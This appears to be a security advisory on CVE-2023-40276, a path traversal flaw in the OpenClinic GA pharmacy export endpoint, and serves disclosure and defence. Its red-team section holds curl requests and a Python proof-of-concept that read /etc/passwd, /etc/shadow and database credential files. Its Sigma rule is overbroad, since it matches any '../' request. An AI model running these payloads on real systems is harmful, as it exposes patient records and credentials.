CVE-2023-40276

Executive Summary

CVE-2023-40276 is an Unauthenticated File Download vulnerability in OpenClinic GA version 5.247.01. The flaw resides in the pharmacy/exportFile.jsp endpoint, allowing a remote, unauthenticated attacker to download arbitrary files from the server's filesystem. This is a classic Path Traversal (CWE-22) issue, where user-supplied input is not sanitized before being used in file system operations.

The vulnerability has a CVSS v3.1 base score of 7.5 (High) due to network exploitability, no authentication required, and high confidentiality impact. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and can be weaponized with simple HTTP requests.

Affected Component: OpenClinic GA 5.247.01 (and possibly earlier versions).
Attack Vector: Remote, unauthenticated HTTP GET request to /openclinic/pharmacy/exportFile.jsp with a manipulated file parameter.
Impact: Unauthorized disclosure of sensitive files (e.g., configuration files, patient data, credentials).

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). OpenClinic GA is a standalone Java-based web application deployed on Apache Tomcat. The risk is primarily to the hosting organization's data confidentiality.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is trivial to exploit and requires no authentication. An attacker can enumerate the filesystem and exfiltrate sensitive data.

Deep Dive & Mechanics

The vulnerable endpoint is pharmacy/exportFile.jsp. This JSP page is designed to export pharmacy-related files (e.g., reports, prescriptions). The flaw is in how the file parameter is processed.

Root Cause: The application does not validate or sanitize the file parameter. It directly concatenates the user-supplied value with a base directory path and passes it to a file read operation (e.g., java.io.File or java.nio.file.Files). This allows an attacker to use ../ sequences to traverse outside the intended directory.

Example vulnerable code snippet (conceptual):

String baseDir = "/var/lib/openclinic/exports/";
String fileName = request.getParameter("file");
File exportFile = new File(baseDir + fileName);
// No path traversal check
response.getOutputStream().write(Files.readAllBytes(exportFile.toPath()));

Attack Flow:

1. Attacker sends a GET request to /openclinic/pharmacy/exportFile.jsp?file=../../etc/passwd
2. The server resolves the path to /var/lib/openclinic/exports/../../etc/passwd → /etc/passwd
3. The file is read and returned in the HTTP response.

Potential Targets:

• /etc/passwd (Linux user enumeration)
• /etc/shadow (if readable)
• /var/lib/openclinic/conf/database.properties (database credentials)
• /var/lib/tomcat/webapps/openclinic/WEB-INF/web.xml (application configuration)
• Patient records stored in the filesystem

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String baseDir = "/var/lib/openclinic/exports/";
String fileName = request.getParameter("file");
File exportFile = new File(baseDir + fileName);
// No validation
byte[] content = Files.readAllBytes(exportFile.toPath());
response.setContentType("application/octet-stream");
response.getOutputStream().write(content);

Patched Code (Conceptual):

String baseDir = "/var/lib/openclinic/exports/";
String fileName = request.getParameter("file");
// Normalize and validate path
File exportFile = new File(baseDir + fileName);
String canonicalPath = exportFile.getCanonicalPath();
String canonicalBase = new File(baseDir).getCanonicalPath();
if (!canonicalPath.startsWith(canonicalBase)) {
    response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access denied");
    return;
}
// Also validate file extension if needed
if (!fileName.endsWith(".csv") && !fileName.endsWith(".pdf")) {
    response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type");
    return;
}
byte[] content = Files.readAllBytes(exportFile.toPath());
response.setContentType("application/octet-stream");
response.getOutputStream().write(content);

Key Fixes:

• Use getCanonicalPath() to resolve all ../ sequences.
• Verify the resolved path starts with the allowed base directory.
• Optionally whitelist allowed file extensions.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running OpenClinic GA 5.247.01
• Network access to the web application (e.g., http://target:8080/openclinic/)

Exploitation Steps:

1. Basic Path Traversal Test:

   curl -v "http://target:8080/openclinic/pharmacy/exportFile.jsp?file=../../etc/passwd"
   

   Expected response: Contents of /etc/passwd (if readable).

2. Enumerate Configuration Files:

   curl -v "http://target:8080/openclinic/pharmacy/exportFile.jsp?file=../../WEB-INF/web.xml"
   

3. Extract Database Credentials:

   curl -v "http://target:8080/openclinic/pharmacy/exportFile.jsp?file=../../conf/database.properties"
   

4. Automated Scanning with Burp Suite:

   • Use Intruder with a payload list of common traversal paths (e.g., ../../../etc/passwd, ..\..\..\windows\win.ini).
   • Look for responses containing file content or error messages revealing paths.

Proof-of-Concept Script (Python):

import requests

target = "http://target:8080/openclinic"
payloads = [
    "../../etc/passwd",
    "../../etc/shadow",
    "../../WEB-INF/web.xml",
    "../../conf/database.properties",
    "../../../windows/win.ini"
]

for payload in payloads:
    url = f"{target}/pharmacy/exportFile.jsp?file={payload}"
    r = requests.get(url)
    if r.status_code == 200 and len(r.text) > 100:
        print(f"[+] Found: {payload}")
        print(r.text[:500])

Blue Team (Defensive)

Detection & Response:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing ../ or ..\\ in the file parameter.
   • Block requests to /openclinic/pharmacy/exportFile.jsp from untrusted IPs.

2. Log Monitoring:

   • Monitor Tomcat access logs for unusual exportFile.jsp requests.
   • Alert on multiple file parameter values containing ../.

3. Honeypot Files:

   • Place fake sensitive files (e.g., honeypot_creds.txt) in the exports directory and monitor access.

4. Network Segmentation:

   • Restrict outbound traffic from the application server to prevent data exfiltration.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /openclinic/pharmacy/exportFile.jsp with file parameter containing ../ or ..\\
• Unusual file extensions in the file parameter (e.g., .jsp, .properties, .xml)
• Large outbound data transfers from the application server

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ with names like exported_data_*.txt
• Modified Tomcat access logs showing repeated traversal attempts

Log Examples:

192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "GET /openclinic/pharmacy/exportFile.jsp?file=../../etc/passwd HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2023_40276_OpenClinic_Traversal {
    meta:
        description = "Detects path traversal attempts against OpenClinic GA exportFile.jsp"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2023-40276"
    strings:
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $jsp_endpoint = "exportFile.jsp" ascii wide
        $file_param = "file=" ascii wide
    condition:
        $jsp_endpoint and $file_param and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2023-40276 OpenClinic GA Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in OpenClinic GA exportFile.jsp
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-uri-query|contains: 
            - "exportFile.jsp?file="
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts (unlikely)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.40276

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40276 OpenClinic GA Path Traversal Attempt"; flow:to_server,established; content:"exportFile.jsp"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|\.\.\\)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Remove or rename pharmacy/exportFile.jsp.
2. Apply input validation via a reverse proxy (e.g., Nginx, Apache mod_rewrite):

   location /openclinic/pharmacy/exportFile.jsp {
       if ($arg_file ~* "\.\.") {
           return 403;
       }
   }
   

3. Restrict file permissions on the server: Ensure sensitive files (e.g., /etc/shadow, database configs) are not readable by the Tomcat user.

Long-Term Fixes:

• Upgrade to a patched version if/when available.
• Implement proper path canonicalization in the application code (see patched code example).
• Conduct a security audit of all JSP pages for similar vulnerabilities.

Workaround:

• If the export functionality is critical, limit allowed files to a whitelist (e.g., only .csv files in a specific directory).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert